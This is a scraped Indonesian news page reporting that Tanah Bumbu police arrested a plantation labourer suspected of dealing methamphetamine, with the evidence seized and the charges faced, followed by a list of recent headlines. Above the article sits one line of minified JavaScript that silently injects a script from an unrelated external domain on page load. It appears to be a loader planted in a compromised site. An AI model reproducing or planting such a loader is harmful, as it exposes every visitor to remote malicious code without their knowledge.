(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

Jadi Pengedar Sabu, Buruh Perkebunan Diringkus Satresnarkoba Polres Tanbu


KANALKALIMANTAN.COM, BATULICIN – Satresnarkoba Polres Tanah Bumbu (Tanbu) kembali mengamankan seorang pelaku diduga sebagai pengedar sabu di sebuah rumah, Desa Sebamban Lama, Kecamatan Sungai Loban, Minggu (15/5/2022) malam.

Pelaku adalah DI (31), buruh tani perkebunan asal Desa Sebamban Lama, Kecamatan Sungai Loban.

Kapolres Tanah Bumbu AKBP Tri Hambodo melalui Kasi Humas AKP H Iberahim Made Rasa yang didampingi Kasat Resnarkoba Iptu A Deni Junainsyah, membenarkan perihal penangkapan tersebut.

“Iya, benar bahwa kemarin malam anggota satuan resnarkoba kembali melakukan penangkapan terhadap diduga sebagai pengedar narkotika berjenis sabu di Desa Sebamban Lama, Kecamatan Sungai Loban,” katanya, kepada awak media, Senin (16/5/2022).

 

Baca juga : BNNK HSU Edukasi Masyarakat P4GN Melalui Amuntai Expo 2022

Dari tangan pelaku, polisi berhasil mendapatkan barang bukti berupa 5 paket sabu seberat 3,32 gram yang siap edar, 1 buah timbangan digital, 1 bungkus plastik klip, 1 unit handphone merk Oppo warna gold, dan uang tunai hasil dari penjualan sebesar Rp500 ribu.

Keberhasilan polisi menangkap pelaku narkoba ini tidak luput dari bantuan informasi dan kerjasama dengan masyarakat setempat dalam hal pemberantasan narkoba di Bumi Bersujud.

Kini pelaku sudah mengakui barang yang di temukan itu adalah benar miliknya, dan bersama barang bukti kini pelaku diamankan di balik jeruji besi rumah tahanan negara Polres Tanah Bumbu guna proses penyidikan lebih lanjut.

“Akibat ulahnya, DI akan dijerat dengan pasal 114 ayat 2 UU Nomor 35 tentang Narkotika dan subsider Pasal 112 Ayat 2, dengan ancaman hukuman minimal enam tahun penjara hingga 20 tahun,” tutup H Iberahim Made Rasa.(kanalkalimantan.com/ftr)

Reporter : ftr
Editor : cell


Desy Arfianty

Recent Posts

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

39 menit ago

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

2 jam ago

Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More

2 jam ago

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

4 jam ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

19 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

22 jam ago

This website uses cookies.